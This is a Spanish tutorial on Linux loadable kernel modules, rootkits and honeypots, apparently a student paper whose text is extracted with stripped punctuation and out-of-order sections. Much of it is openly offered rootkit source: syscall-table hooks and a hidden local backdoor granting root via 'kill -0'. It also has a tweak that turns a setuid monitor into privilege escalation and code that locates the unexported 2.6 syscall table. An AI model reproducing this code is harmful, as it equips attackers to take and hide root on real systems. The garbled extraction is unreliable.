route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 8: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

3- Loadable Kernel Modules

Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente

Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute

Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod

Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)

Kernel hacks y seguridad JMP

31- Compilacioacuten de LKMs para la serie 24x

Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel

root gcc -c listado2c -I usrsrclinuxinclude

lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado

root insmod listado2o parm_entero=5

podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt

Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute

Explicacioacuten

En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso

Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel

Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog

Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages

Kernel hacks y seguridad JMP

4- Sys_call_table[] en kernels 22 y 24

Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo

extern void sys_call_table[]

Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)

Listado 3

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)

Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento

El funcionmiento se explica a continuacioacuten

Kernel hacks y seguridad JMP

Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado

iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt

$cat usrsrclinuxincludelinuxasmunistdh|less

Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh

Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod

La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt

sigue listado 4

Kernel hacks y seguridad JMP

continuando listado 4

8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

